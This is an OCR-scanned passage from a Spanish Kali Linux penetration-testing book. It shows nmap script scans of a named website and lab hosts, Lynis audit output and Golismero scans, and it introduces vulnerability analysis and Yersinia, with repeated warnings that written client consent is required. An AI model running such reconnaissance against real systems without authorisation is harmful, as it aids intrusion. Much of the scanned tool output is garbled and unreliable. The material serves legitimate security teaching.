| dns-brute: Can't guess domain of "192.168.2.1"; use dns-brute.domain
script argument.

Nmap done: 1 IP address (1 host up) scanned in 10.28 seconds
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Estamos sacando hasta el modelo del router Wifi y que el servidor web es
un RomPager de Allegro con soporte UPnP, con lo que podemos comenzar a buscar
vulnerabilidades con bastante facilidad.

Por otro lado, si lo hacemos sobre un servidor productivo en Internet:

nmap --script discovery www.orcero.org

Nos genera toda esta informacion:

Starting Nmap 6.00 ( http://nmap.org ) at 2016-04-20 19:43 CEST

Pre-scan script results:

| targets-asn:

| targets-asn.asn is a mandatory parameter

Nmap scan report for www.orcero.org (188.165.231.195) Host is up (0.086s latency).
rDNS record for 188.165.231.195: servidor

Not shown: 994 closed ports

PORT STATE SERVICE

22/tcp filtered ssh

23/tcp open telnet

| dns-client-subnet-scan:

|_ ERROR: dns-client-subnet-scan.domain was not specified

|_banner: SSH-2.0-OpenSSH_6.0pl Debian-4+deb7u4 | telnet-encryption:

| Telnet server does not support encryption

25/tcp open smtp

| dns-client-subnet-scan:

|_ ERROR: dns-client-subnet-scan.domain was not specified

|_banner: 220 www.orcero.org ESMTP Sendmail

8.14.4/8.14.4/Debian-4+deb...

| smtp-commands: www.orcero.org Hello

144.red-88-0-62.dynamicip.rima-tde.net [88.0.62.144], pleased to meet you, ENHANCEDSTATUSCO-
DES, PIPELINING, EXPN, VERB, 8BITMIME, SIZE, DSN, ETRN, AUTH DIGEST-MD5 CRAM-MD5,
DELIVERBY, HELP,

|_ 2.0.0 This is sendmail version 8.14.4 2.0.0 Topics: 2.0.0 HELO EHLO MAIL RCPT DATA2.0.0 RSET
NOOP QUIT HELP VRFY 2.0.0 EXPN VERB ETRN DSN AUTH 2.0.0 STARTTLS 2.0.0 For more info
use "HELP <topic>". 2.0.0 To report bugs in the implementation see 2.0.0 http://www.sendmail.org/
email-addresses.html 2.0.0 For local information send email to Postmaster at your site.

2.0.0 End of HELP info
|_smtp-open-relay: Server doesn't seem to be an open relay, all tests failed

80/tcp open http
| http-grep:
| ERROR: Argument http-grep.match was not set
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|_http-google-malware: [ERROR] No API key found. Update the variable APIKEY in http-google-ma-
lware or set it in the argument http-google-malware.api | dns-client-subnet-scan:

|_ ERROR: dns-client-subnet-scan.domain was not specified
|_http-date: Wed, 20 Apr 2016 17:51:07 GMT; +7m26s from local time.

|_http-title: Santo Orcero family pages

| http-robots.txt: 9 disallowed entries

/manual/ /manual-2.0/ /manual-1.3/ /addon-modules/ |_/doc/ /images/ /all_our_e-mail_addresses /
admin/ /

http-headers:

X-Powered-By: PHP/5.4.45-0+deb7u?2

Content-type: text/html

Connection: close

Date: Wed, 20 Apr 2016 17:51:12 GMT

Server: lighttpd/1.4.31

| (Request type: HEAD)

http-php-version: Versions from logo query (less accurate):

5.3.0-5.3.10

|_Version from header x-powered-by: PHP/5.4.45-0+deb7u2

http-email-harvest:

Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=www.orcero.org
|_ nikos@cbl.leeds.ac.uk

|_http-chrono: Request times for /;

avg: 446.63ms; min: 358.95ms; max: 602.83ms

|_http-wordpress-plugins: nothing found amongst the 100 most popular plugins, use --script-arg http-
wordpress-plugins.search=<number|all> for deeper analysis)

http-vhosts:

|_405 names had status 200

http-enum:

Jtest.html: Test page

[test.php: Test page

/robots.txt: Robots file

|_ /perl/: Potentially interesting folder

443/tcp open  https

|_http-google-malware: [ERROR] No API key found. Update the variable APIKEY in http-google-ma-
lware or set it in the argument http-google-malware.api | dns-client-subnet-scan:

|_ ERROR: dns-client-subnet-scan.domain was not specified | http-grep:

| ERROR: Argument http-grep.match was not set
|_http-date: Wed, 20 Apr 2016 17:51:07 GMT; +7m26s from local time.
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http-php-version: Versions from logo query (less accurate):
5.3.0-5.3.10

|_Version from header x-powered-by: PHP/5.4.45-0+deb7u?2
http-headers:

X-Powered-By: PHP/5.4.45-0+deb7u2

Content-type: text/html

Connection: close

Date: Wed, 20 Apr 2016 17:51:08 GMT

Server: lighttpd/1.4.31

|_ (Request type: HEAD)

ssl-cert: Subject: commonName=www.orcero.org/organizationName=0rcero/
stateOrProvinceName=Espa\xC3\x83\xC2\xBla/countryName=ES
Not valid before: 2014-01-09 09:41:34 | Not valid after: 2024-01-07 09:41:34 |_http-chrono: Request
times for /;

avg: 820.62ms; min: 464.01ms; max: 1095.57ms
ssl-google-cert-catalog: | No DB entry

http-vhosts:

| 405 names had status 200

ssl-enum-ciphers:

TLSv1.0

Ciphers (10)

TLS_ECDHE_RSA WITH_3DES_EDE_CBC_SHA - strong
TLS_ECDHE_RSA WITH_AES 128 CBC_SHA - strong
TLS_ECDHE_RSA WITH_AES_256_CBC_SHA - unknown strength
TLS_ECDHE_RSA WITH_RC4_128 SHA - strong

TLS_RSA WITH_3DES_EDE_CBC_SHA - strong

TLS_RSA _WITH_AES_128 CBC_SHA - strong

TLS_RSA WITH_AES 256_CBC_SHA - unknown strength
TLS_RSA_WITH_CAMELLIA_ 128 CBC_SHA - unknown strength
TLS_RSA_WITH_CAMELLIA 256_CBC_SHA - unknown strength
TLS_RSA WITH_RC4_128 SHA - strong

Compressors (1)

NULL

TLSv1.1

Ciphers (10)

TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
TLS_ECDHE_RSA WITH_AES_128 CBC_SHA - strong
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - unknown strength
TLS _ECDHE_RSA WITH_RC4 128 SHA - strong
TLS_RSA WITH _3DES_EDE_CBC_SHA - strong

TLS_RSA WITH_AES 128 CBC_SHA - strong

TLS_RSA WITH_AES 256_CBC_SHA - unknown strength
TLS_RSA WITH_CAMELLIA 128 CBC_SHA - unknown strength
TLS_RSA WITH_CAMELLIA 256 _CBC_SHA - unknown strength



88 KALI LINUX © RA-MA

TLS_RSA WITH_RC4_128 SHA - strong

Compressors (1)

NULL

TLSv1.2

Ciphers (14)

TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA - strong
TLS_ECDHE_RSA WITH_AES_128 CBC_SHA - strong
TLS_ECDHE_RSA_WITH_AES_128 CBC_SHA256 - strong
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA - unknown strength
TLS_ECDHE_RSA WITH_AES_256_CBC_SHA384 - unknown strength
TLS_ECDHE_RSA _WITH_RC4_128_SHA - strong

TLS_RSA WITH_3DES_EDE_CBC_SHA - strong

TLS_RSA _WITH_AES_128 CBC_SHA - strong
TLS_RSA_WITH_AES_128 CBC_SHA256 - strong
TLS_RSA_WITH_AES_256_CBC_SHA - unknown strength
TLS_RSA_WITH_AES_256_CBC_SHA256 - unknown strength
TLS_RSA WITH_CAMELLIA 128 CBC_SHA - unknown strength
TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - unknown strength
TLS_RSA _WITH_RC4_128 SHA - strong

Compressors (1)

NULL

|_ Least strength = unknown strength | http-enum:

/blog/: Blog
| /blog/wp-login.php: Wordpress login page.
445/tcp filtered microsoft-ds

Host script results:

| whois: Record found at whois.ripe.net

inetnum: 188.165.192.0 - 188.165.255.255

netname: OVH

descr: OVH SAS |_country: FR |_asn-query: No Answers

dns-brute:

DNS Brute-force hostnames
www.orcero.org - 188.165.231.195
|_mail.orcero.org - 188.165.231.195

Nmap done: 1 IP address (1 host up) scanned in 742.68 seconds

Lo que es una salida extremadamente completa, y que da mucha informacidn
y referencia para progresar con posteriores ataques.

Otro ejemplo; haciendo:

nmap --script exploit almacen
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Obtenemos:

[Starting Nmap 6.00 ( http://nmap.org ) at 2016-04-20 19:33 CEST |
Nmap scan report for almacen (192.168.2.28)

Host is up (0.00012s latency).

rDNS record for 192.168.2.20: almacen.trantor

Not shown: 992 closed ports

FORT STATE SERVICE

22/tcp  open ssh

25/tcp  open smtp

| smtp-vuln-cve2010-4344;

| The SMTP server is not Exim: NOT VULMERABLE
B8/tcp open http

111/tcp open rpcbind

139/tcp open netbhios-ssn

445/tcp open microsoft-ds

E87/tcp open submission

| smtp-vuln-cve20l0-4344:

|_ The SMTP server is not Exim: NOT VULNERABLE
2049/tcp open nfs

MAC Address: 00:22:4D:A4:22:56F (Mitac International]

Nmap done: 1 IP address (1 host up) scanned in 9.51 seconds

Lo que nos da informacidn que también podemos usar, especialmente si el
script encuentra vulnerabilidades.

Finalmente, haciendo:

nmap --script malware www.orcero.org

Tenemos:

Starting Nmap 65.00 ( http://nmap.org ) at 2016-04-20 19:41 CEST
Nmap scan report for www.orcero.org (188.165.231.195)

Host is up (0.07Bs latency) .

rDNS record for 188.165.231.195: servidor

Not shown: 994 closed ports

PORT STATE SERVICE

22/tep filtered ssh

Z3/tcp open telnet
25/tcp open smtp
80/tcp open http

| http-google-malware: [ERROR] No API key found. Update the variable A
PIKEY in http-google-malware or set it in the argument http-google-mal
ware.api

443/tcp open https

| _http-google-malware: [ERROR] No API key found. Update the variable A
PIKEY in http-google-malware or set it in the argument http-google-mal
ware ., apil

445/tcp filtered microsoft-ds

Nmap done: 1 IP address [l host up) scanned in 8.25 seconds
- =
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3.4 LYNIS

No todos los andlisis se hacen desde mdquinas remotas. A veces queremos
verificar las maquinas una vez que estamos dentro, es decir, cuando ya tenemos
acceso local.

La utilidad clave para hacer el andlisis de mdquinas es Lynis. Se lanza con
el comando:

lynis audit system

Si lo que queremos es hacer una auditoria del sistema desde la cuenta de
root; o:

lynis audit system --pentest

Si no tenemos privilegios de administrador, y queremos hacer un test de
penetracion para descubrir qué puede encontrar un atacante desde una cuenta no
privilegiada -evidentemente, debemos lanzar Lynis desde esa cuenta, lo que nos
puede llevar a ejecutar Lynis sin instalarlo desde el sistema de paqueteria, lo que se
hard de forma distinta segun el escenario-.

Un ejemplo del comportamiento de Lynis ejecutado en la propia Kali es:

ote: pluglns have more S s, which may take a few minutes to complete

: debian

]

[ 1
[ Installed and enabled for apt ]

[ Press [ENTER] to continue, or [CTRL]+C to stop |
i
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UNKENOWH ]
DONE ]
DONE ]

L 2 ) DK ]

Press [ENTER] to continue, or [CTRL]+C to stop

[+] Kernel

RUNLEVEL 5 |
FOUND ]

DONE

DONE

DONE

FOUND ]

or [CTRLI+C to stop ]

or [CTRLI+C to stop ]

[ FOUND ]
0K ]
oK ]

[ or stop

[+] Use

[ DONE ]

NOT ENABLED |
[ NOT ENABLED ]
[ FOUND ]

ESTION
¢ FOUND ]

FOUND ]
NOT FOUND ]

DTSABLED ]
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11t
ation

[ Press [ENTER] teo continue, or [CTRL]I+C to stop ]

[ NONE ]

[ Press [ENTER] to continue, or [CTRLI+C to stop ]

File systems

[ SUGGESTION
[ OK ]

[ SUGGESTION
[ HONE ]

[ HONE

[ NONE ]

[ CHECK NEEDED ]
[ DK ]

[ DK ]

[ DISABLED ]
[ FOUND ]

| Press [ENTER] to continue, or [CTRL]+L to stop ]

NONE ]

Press [ENTER] to continue, or [CTRL]+C to stop |

NONE ]

CHECK NEEDED |
0K |

0K ]

DISABLED ]
FOUND 1

[ Press [ENTER] to continue, or [CTRL]+C to stop ]

NOT DISABLED |
NOT DISABLED |

[ Press [ENTER] to continue, or [CTRL]+L to stop ]
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[ NOT DISABLED ]
[ NOT DISABLED ]

[ Press [ENTER] to continue, or [CTRL]+C to stop |
[+] NFS

DONE ]
DONE ]
[ NOT FOUND ]

[ Press [ENTER] to continue, or [CTRLI+C to stop ]

[+] Name services

NOMNE ]
[ MONE ]
[ FOUND ]

[ NOT FOUND
[ NOT FOUND °
[ NOT ND ]
[ NOT FOUND

ESTION 1

[ Press [ENTER] to continue, or [CTRLI+C to stop ]

[ Press [ENTER] to continue, or [CTRL]+C to stop ]

NONE ]
NONE ]
FOUND ]

NOT FOUND
NOT FOUND

NOT FOUND
FOUND |

0K ]
SUGLESTION ]

FOUND ]

Press [ENTER] to continue, or [CTRL]+C to stop |

Descargado en: eybooks.com


Android
Typewriter
Descargado en: eybooks.com


94 KALI LINUX © RA-MA

[+] Metworking

oK ]

DONE ]
DONE ]

0K ]
0K ]
RUNNING ]

FOUND ]
RUNNING ]

[+] Software: e-mail and messaging

FOUND 1
FOUND ]
FOUND 1
FOUND 1

[ Press [ENTER] to continue, or [CTRL]I+C to stop ]
|

FOUND ]
FOUND ]
FOUND ]
ACTIVE |

[ Press [ENTER] to continue, or [CTRL]#+C to stop ]

[+] Software: webserver
[ FOUND |
FOUND ]

HOT FOUND ]
HOT FOUND ]
NOT FOUND ]
NOT FOUND ]
[ NOT FOUND ]

[ Press [ENTER] to continue, or [CTRL]+C to stop ]

[+] SSH Support

HOT FOUND ]

L Press [ENTER] to continue, or [CTRL]+C to stop ]
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[ NOT FOUND

[ Press [ENTER] to continue, or

FOUND
FOUND
FOUND

[ Press [ENTER] to comtinue, [CTRL]+C to

] LDAP Services
Ip o [ NOT FOUND
[ Press [ENTER] to comtinue, or [CTRL]+C to

[+] PHP

g
g

| Press [ENTER] to comtinue, or [CTRL]+C to stop

Sguid Support

g rannlng HOT FOUND |

es5 [ENTER] to continue, or [CTRLI+C to stop ]

DK ]

NOT FOUND ]
FOUND ]

NOT FOUHD ]

FOUND

[ DOME ]
DONE ]
[ FILES FOUND |

ss [ENTER] te continue, or [CTRLI+C to stop |

ASecure serv i!:!‘.h

NOT ACTIVE ]
0K 1

[ Press [ENTER] to continue, or [CTRL]+C to stop |
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[ Press [ENTER] to continue, or [CTRLI+C to stop ]

Banners and ldentdflication

[ FOUND ]
[ 0K

[ WEAK 1
[ FOUND ]
WEAK 7

[ Press [ENTER] to continue, ar [CTRL]4C to stop |

Scheduled tasks

DONE ]
HOT RUNNING ]

[ Press [ENTER] to continue, or [CTRLI+C te stop ]
nting
NOT FOUND ]
= 4 [ MOT FOUMND ]
ing audite HOT FOUND ]

Press [ENTER] to continue, or [CTRLI4C te stop ]

ent

[ Press [ENTER] to continue, or [CTRL]4C to stop |

[ Press [EWNTER] to continue, or [CTRL]+C Lo stop ]
[+] Wirtualization

continue, or [CTRL]+C to stop ]

to stop |

[ NOT FOUND
[ NOT FOUN
[ FOUND ]

I ram rk [ NONE ]

[ Press [ENTER] to continue, or [CTRLI+C to stop ]
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Software: file integ

HOT FOUND ]

[CTRL]+C to stop ]

HOT FOUND ]

[ Press [ENTER] to continue, or [CTRL]+C

[+] Software: Malware scann

FOUND ]

[ Press [ENTER] to continue, or

HOT FOUND

[ Press [ENTER] to continue, or [CTRL]+C to stop ]

s [ENTER] to continue, or [CTRL]+C to stop ]

[+] Kernel Hardening

[ Press [ENTER] to continue, or [CTRL]+C to stop ]
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Descargado en: eybooks.com


Android
Typewriter
Descargado en: eybooks.com
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Lynis security scan details:

) RS RRLR
194
1

overview:

/var/leg/lynis. log
fvar/log/lynis-repart. dat




100 KALI LINUX © RA-MA

Y los avisos de una ejecucion de Lynis en una Debian normal -ejecucion
que, como vemos, da una informacién muy abundante-, es:

Warnings:

[20:08:51] Warning: Couldn’t find 2 responsive
nameservers [test:NETW-2705] [impact:L]
[20:08:51] Warning: Found mail_name in SMTP banner, and/or
mail_name contains ’Postfix’ [test:MAIL -8818] [impact:L]
[20:08:51] Warning: Root can directly login via SSH [ test:SSH-
7412] [impact:M]
[20:08:51] Warning: No MySQL root password set [test: DBS-1816]
[impact:H]
[20:08:57] Warning: No running NTP daemon or available client
found [test:TIME-3104] [impact:M]
Suggestions:

[20:08:38] Suggestion: update to the latest stable release.
[20:08:43] Suggestion: Install a PAM module for password
strength testing like pam_cracklib or pam_passwdqc [test:AUTH-9262]

[20:08:43] Suggestion: When possible set expire dates for all

password protected accounts [test:AUTH-9282]

[20:08:43] Suggestion: Configure password aging limits to
enforce password changing on a regular base [test:AUTH-9286]

[20:08:43] Suggestion: Default umask in /etc/profile could be
more strict like 027 [test:AUTH-9328]

[20:08:43] Suggestion: Default umask in /etc/login. defs could be
more strict like 027 [test:AUTH-9328]

[20:08:43] Suggestion: Default umask in /etc/init.d/ rc could be
more strict like 027 [test:AUTH-9328]

[20:08:44] Suggestion: To decrease the impact of a full /tmp
file system, place /tmp on a separated partition [test:FILE-6310]

[20:08:44] Suggestion: The database required for ’ locate’
could not be found. Run 'updatedb’ or ’ locate.updatedb’ to
create this file. [test:FILE -6410]

[20:08:44] Suggestion: Disable drivers like USB storage
when not used, to prevent unauthorized storage or data theft [test:STRG-1840]

[20:08:44] Suggestion: Disable drivers like firewire storage when

not used, to prevent unauthorized storage or data theft [test:STRG-1846]

[20:08:51] Suggestion: Purge removed packages (10 found) with
aptitude purge command, to cleanup old configuration files,
cron jobs and startup scripts.

[test:PKGS-7346]

[20:08:51] Suggestion: Check your resolv.conf file and fill in a
backup nameserver if possible [test: NETW-2705]

[20:08:51] Suggestion: You are adviced to hide the mail_name
(option: smtpd_banner) from your postfix configuration. Use
postconf -e or change your main. cf file (/etc/postfix/main.cf)
[test:MAIL-8818]
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[20:08:51] Suggestion: Configure a firewall/packet filter to filter
incoming and outgoing traffic [ test:FIRE-4590]
[20:08:51] Suggestion: Use mysqladmin to set a MySQL root
password (mysqladmin -u root -p password MYPASSWORD) [test:DBS-1816]
[20:08:57] Suggestion: Add legal banner to /etc/motd, to warn
unauthorized users [test:BANN-7122]
[20:08:57] Suggestion: Add legal banner to /etc/issue
to warn unauthorized users [test:BANN-7126]
[20:08:57] Suggestion: Add legal banner to /etc/issue
.net, to warn unauthorized users [test:BANN-7130]
[20:08:57] Suggestion: Enable auditd to collect audit information
[test:ACCT-9628]
[20:08:57] Suggestion: Check if any NTP daemon is running
or a NTP client gets executed daily, to prevent big time
differences and avoid problems with services like kerberos,
authentication or logging differences. [test:TIME-3104]
[20:08:57] Suggestion: Install a file integrity tool [test:FINT-4350]
[20:08:58] Suggestion: One or more sysctl values differ from the
scan profile and could be tweaked [ test:KRNL-6000]
[20:08:58] Suggestion: Harden the system by removing unneeded
compilers. This can decrease the chance of
customized trojans, backdoors and rootkits to be compiled
and installed [test:HRDN-7220]
[20:08:58] Suggestion: Harden compilers and restrict access to
world [test:HRDN-7222]
[20:08:58] Suggestion: Harden the system by
installing one or malware scanners to perform periodic
file system scans [test:HRDN-7230]

Vemos que nos muestra vulnerabilidades, algunas facilmente explotables,

como un mysql local sin contrasena.

3.9 GOLISMERO

Golismero es una utilidad bastante completa de busqueda de informacion de

un servidor web, de su servidor y su dominio. La forma bdsica de uso es:

golismero scan servidor

Golismero realmente es bastante mds completo de lo aqui expuesto, y nos

permite automatizar los tests de penetracidn contra el propio servidor; por como estd
disenado, es una estrategia potencial instalar Golismero en la red, cronearlo, y que dé
reportes periddicos a la gente de sistemas de las novedades encontradas.

Vamos a ver un ejemplo de uso. Por ejemplo, si hacemos:

golismero scan www.orcero.org
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La salida sera:

: Web Knife
GoLismaro Fr -J act

ct: contact@golismerc-project.com

1n di 1 13" L ay! Get one at: http:/ www.shodanbg 1'-|-'.s—:|'|._-_jr--
: Plugin disabled, reason: Spiderfoot plugin not configured! Please spacify the URL to connect to
SpiderfFoot servar.
: Plugin disabled, =
usrsshare/aolismar ismero/main: 1 Cannat resolve dor name ! arcers.org
Run
o Added

yword 'www.orcero.org' in google
% percent doneg...
| y 3% percent dane. ..
DHS Resolwer: 11.11 ne. ..
theHarvester: Found B emalls and B hosthnames on wyle T domain www.o
theHarvester; S ine W T Www . OMCern.arg
theHarvester: Z0.00% pe 2nt done...
r name 'Cookis: SRCHHPGL ADLT=DEMOTE&RNRSLT=50
theHarvester: S Keywdrd ‘www.orcerc.orgd’ in linkedin
Tt dane...
1t dane .. .
theHar a DL i and B hostnames
theHar

cartificate warify failed (

found for host: www . orcer.org
dane . ..

orcarc.org' in google
e percent
rinter: 11 I ent dore. ..
hostnames on google for domain orcero.org
theH: : d 'arcern.org’' in bing
theHar te YT percent &
haader =l 31 SRCHHPGUSR=ADL T=DEMOTESI
theHarvester (2): Sg 1 key arcarn.arg’ in linkadin
theHar ?): 40.00% percent dona...
1 ound B emails and B8 hestnames on linkedin for domain orcerc.org
earching keyword 'crcero.org' in dogpile
g ant dons...
done . ..
Web Server Flngerprinter: 33.33% percent done. ..
DNS Resolver: 44 _44% perc L
Web Server Far inter: 44.44% perce
OMNS Hesolver: 1=} 2Nt o =
: Query to PunkSFIDE ad, reason: [SSL: CERTIFIC, _WERIFY_FAILED] caertificate verify fai
cio8e)
unkSPIDER: No lts found for host: orcero.arg
DHS R : percent dane...
DNS R [ (2): 11.11%
DKS
NS
NS Resc er: 8B.88 = dane
NS R l ) el parcent de
DNS Res B % percent done...
: ( dormg. ..
TR/ www.orcerc.org)
5.55% percent dona...
1t Swei _Orcero .o

1 strnames on google f domain delfos.orcera.org
theHarvester (3): Searching keyword elfos.aorcero.org’ in bing
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e Tor domaln arcero.arg

Recuerda que Golismero, al igual que algunas de las opciones de nmap,
realizan realmente un ataque; por lo que recuerda que antes deberds haber hecho
lo que te he explicado en la segunda fase. Especialmente con el consentimiento
informado; en el que tal y como te comenté en la seccién 1.4, debes incluir los
efectos que puede causar tus pruebas, indicando la probabilidad de que afecte a la
produccion y el dafio que puedes hacer. Si el cliente no ha firmado el consentimiento
informado antes de realizar las operaciones, te vas a ganar una demanda judicial que
vas a perder; como minimo, por la responsabilidad civil del dafio. Y ademds, con
toda la razén del mundo. Estds avisado.

3.6 OTRAS UTILIDADES

Solo con estas herramientas que hemos estudiado hasta ahora, ya podemos
obtener un listado bastante completo de mdquinas accesibles desde donde estamos
haciendo las pruebas, y para cada mdquina qué sistema operativo utiliza, qué puertos
tiene abiertos, qué servidores en concreto ejecuta oyendo estos puertos, y cuales son
las versiones concretas de estos servidores. Mucha informacion que nos permitird
luego buscar vulnerabilidades en etapas posteriores.

Realmente hay muchas otras utilidades y técnicas para obtener informacion
que podremos emplear a partir de este punto. La casuistica es muy grande, y nos
podria llevar un libro tan grande como este el cubrir los escenarios mds frecuentes.
Pasamos a enumerar las técnicas, con objeto de que podamos aplicarlas segtn el
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escenario -no es dificil intuir qué técnica aplicamos en cada momento a partir de su
descripcion-.

Las técnicas mds importantes son:
P nbtscan: Extraccion de informacion de SMB.

P AccCheck: Verificacion de accesos a los recursos virtuales IPC$ y
ADMINS.

P Nikto: Buscador de plugins de CMS, de propdsito general. Muy bueno,
busca también fallos de configuracién, informacion descubierta,
inyecciones XSS, DoS, obtencion de archivos remotos, subida de archivos
a maquina remota, obtencidn de shell remota, inclusion de cddigo remoto,
evitar autentificacion, identificacion de servidores web no actualizados,
o identificar aspectos del software, entre otras caracteristicas. Vamos a
hablar un poco mds adelante de €l con detalle.

» BlindElephant: Buscador de plugins de CMS, de propdsito general, pero
buena buscando plugins de Drupal y Wordpress.

P Plecost: Buscador de plugins de WordPress.

P Wpscan: Buscador de plugins de WordPress. Vamos a hablar un poco
mds adelante de €l con detalle.

P JoomScan: Buscador de plugins de Joomla.



ANALISIS BASICO DE
VULNERABILIDADES

Cuandonosreferimosa “andlisis basico de vulnerabilidades” no nos referimos
a que haya distintas fases o subdivisiones respecto al andlisis de vulnerabilidades; sino
que vamos a introducir una serie de técnicas bdsicas para analizar vulnerabilidades.

Es importante que tengamos en cuenta que el concepto de vulnerabilidad,
en si, es relativo: la vulnerabilidad depende en gran medida del uso que se supone
que se quiere dar a un sistema. Tener acceso a un servidor web de una intranet puede
ser 0 no una vulnerabilidad, segtn la politica de acceso que tenga ese servidor; y
acceder a determinada informacion puede ser una vulnerabilidad o no; depende de
qué condiciones se deben dar para que alguien tenga acceso a esa vulnerabilidad.

Por poner ejemplos concretos: si con los privilegios de un contable
encontramos una forma no comtin de acceder a la contabilidad, no estamos
encontrando una vulnerabilidad. Si encontramos una forma de hacer cosas que ya
puede hacer root en una mdquina, pero que es necesario ser root para poder hacerlas,
no es una vulnerabilidad. Siencontramos una forma de lanzar comandos arbitrarios en
una mdquina en local pero que requiere acceso local a la mdquina, y los comandos se
lanzan con privilegios iguales o inferiores a los del usuario, no es una vulnerabilidad.
Encontrar y notificar esas vulnerabilidades puede hacer quedar bien al auditor ante
gente que no sepa de lo que se habla -hasta que alguien le explique la verdad-; pero
nos hard quedar como idiotas ante los actores e interesados de la empresa cliente que
realmente entiendan de lo que nosotros estamos hablando.

Por eso, para poder analizar las vulnerabilidades es imprescindible haber
hecho antes “los deberes”, en la fase de recoleccion de informacidn. La recoleccion
de informacion nos permitira:
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P No notificar como vulnerabilidades cosas que no lo son. Aunque ojo
con esto, porque algunas cosas que descubramos y que es cierto que no
podemos notificarlas como vulnerabilidad, probablemente nos sean utiles
para hacer reconocimiento.

W Identificar procesos no conocidos por gerencia. Aqui es donde las cosas se
ponen interesantes. Si encontramos redes Wifi que no nos han notificado,
servidores que en teoria no existen, usuarios que no existen, la mayor parte de
las veces no se trata de intrusiones ya realizadas —y no debemos notificarlas
como tales-. Debemos trabajar con la hipotesis de que un empleado de la
empresa haya puesto eso asi por alguna razén mds o menos legitima. Y esto
es interesante, ya que se puede deber a problemas de comunicacidn; pero
habitualmente se debe a napas por falta de tiempo o de material, atajos para
tareas muy repetitivas de personal técnico, 0 a concesiones a excentricidades
de cargos directivos. Es el caso, por ejemplo, del directivo que exigen tener
su AP para su tablet y que no pasa por utilizar identidades ni certificados.
Es el caso del directivo que exige tener una forma de acceder a algo sin
tener la clave. Es el caso del empleado ludita que dice que el no trabaja
si no tiene algun tipo de acceso de forma directa y sin autentificacion, y
gerencia ha tenido o ha querido ceder. Es el servidor de desarrollo en los que
los programadores lo han dejado todo abierto, o han exigido que esté todo
abierto, para no “perder” tiempo cada vez que quieran probar algo. Es el caso
en el que “cazas” el fichero privado DSA o RSA de uno de los de sistemas
porque estd en una maquina poco protegida, y utilizandola puedes entrar por
ssh en todos los servidores de la empresa como root.

W Identificar cosas que faltan. Si vemos que falta un mecanismo
indispensable para los procesos productivos de la empresa, debemos
sospechar que o hay una fiapa no descubierta atin, o alguien estd teniendo
que hacer el trabajo de otro. Con lo cual puede que no lo haga con el
interés y el detalle de la persona que deberia hacerlo.

W Pistas e indicios sobre donde estdn las vulnerabilidades reales. Podemos
analizar defectos en las arquitecturas, sistemas operativos obsoletos,
sistemas operativos con una gestion pobre de la sequridad. Habitualmente
si hemos hecho una auditoria 27000 con anterioridad, sabemos
perfectamente lo que cumple la letra de la norma, pero no el espiritu; y ya
podemos ir de cabeza a donde estdn los problemas.

Toda esa informacidn, junto con saber queé version de qué estd instalado en qué
mdquinas, nos permite en principio un planteamiento de analisis de vulnerabilidades
de entrada: utilizar las vulnerabilidades conocidas de las versiones instaladas de las
aplicaciones, asi como los defectos y las puertas traseras que encontremos después
de la recoleccion de informacion.
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Entrar en detalle en explicar vulnerabilidades estd fuera de los objetivos
de este libro -y ademds requeriria un volumen completo solo para enumerarlas-.
Ademds, entender cémo funcionan las vulnerabilidades requieren con frecuencia
un nivel alto de compresion de las tecnologias involucradas, y cualquier cosa que
expliquemos relativas a vulnerabilidades concretas y conocidas de aplicaciones
actuales se va a quedar obsoleta antes de final de afio. Por ello, en este libro nos
vamos a centrar en las herramientas clave para andlisis de vulnerabilidades, y en
las tres grandes familias de vulnerabilidades que son razonablemente estables en
el tiempo: los ataques a contrasefias, los relativos a las redes Wifi, y los relativos
a las aplicaciones web. Cada uno de estos puntos tendrd su propio capitulo, que
trataremos por separado.

Dentro de las utilidades mds importantes para buscar vulnerabilidades,
tenemos dos aplicaciones estrella: nmap -especialmente con los scripts que hemos
estudiado de ejemplo- y Metasploit. De nmap ya hemos hablado, y del andlisis de
vulnerabilidades con Metasploit hablaremos mas adelante en un capitulo especifico
de Metasploit. Ademds de estas dos herramientas, ahora veremos las herramientas
comunes que nos seran de utilidad.

@ IMPORTANTE

Las aplicaciones que vamos a describir funcio-nan, y funcionan bien. Utilizarlas contra
una maguina sin autoriza-cién explicita del duefio de la mdquina y de los posibles
perjudicados es delito en el marco penal espafol, y se castiga con la carcel. El autor
de este libro se exime de toda responsabilidad sobre el uso de estas aplicaciones. Te
recomiendo, por lo tanto, que tengas cuidado con es-tas aplicaciones.

Este capitulo no es demasiado extenso; ya que las herramientas de recopilacion
de informacion también hacen andlisis bdsico de vulnerabilidades; y las herramientas
especificas de andlisis basico de vulnerabilidades las vemos en capitulos posteriores
ya especificos de temas concretos de interés. Nos centraremos en este capitulo en
herramientas que no son encuadrables en otros capitulos, porlo tanto.

Se quedan también fuera de este capitulo -y del libro- herramientas
como arpspoof, dnsspoof y sslstrip, ya que poder explotar de forma eficiente el
envenenamiento de ARP, DNS o SSL son técnicas que requieren mucho tiempo para
explicar; y aunque se pueden hacer pruebas de concepto bastante espectaculares, la
explotacidn prdctica requiere suplantar servidores, y bastantes conocimientos en lo
que estamos haciendo. Dada las restricciones espaciales del libro, hemos decidido
cortar por aqui, y centrarnos en ataques mas practicos para analisis y auditorias con
los presupuestos que se suelen manejar. Pero debemos recordar que las técnicas de
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envenenamiento son muy potentes y espectaculares, por lo que si nos interesa el
tema de las pruebas de intrusion y quieres seguir con el tema después de terminar de
leer el libro, quizds es por dénde deberias continuar.

4.1 YERSINIA

Yersinia es una excelente aplicacion desarrollada por un par de espafioles
-Alfredo Andrés Omella y David Barroso Berrueta-. Su funcion basica es explotar
vulnerabilidades conocidas de distintos protocolos de red; cubriendo un porcentaje
muy importante de los protocolos de red comunes en entornos productivos.

Yersinia es capaz no solo de validar que un ataque concreto funciona, sino
que también es capaz de ejecutarlo.

Debemos tener en cuenta algo muy importante de cara a utilizar Yersinia de
forma indiscriminada: esta aplicacion no solo valida si existe una vulnerabilidad,
sino que también la ejecuta. Yersinia puede tumbar la red, y dejar “flipados”
routers, exigiendo que sean reiniciados. No ejecutes esta aplicacion nunca si no
tienes permiso expreso para hacerlo, y entiendes el dano que puedes causar al
lanzarla. A ningun cliente le va a hacer gracia que le pares la red informatica
entera y que tenga que reiniciar todos los elementos de red, especialmente si no
esta avisado que puedes hacerle esto.

Existen tres modos de uso; el uso desde linea de comandos, que se lanza con
la sintaxis:

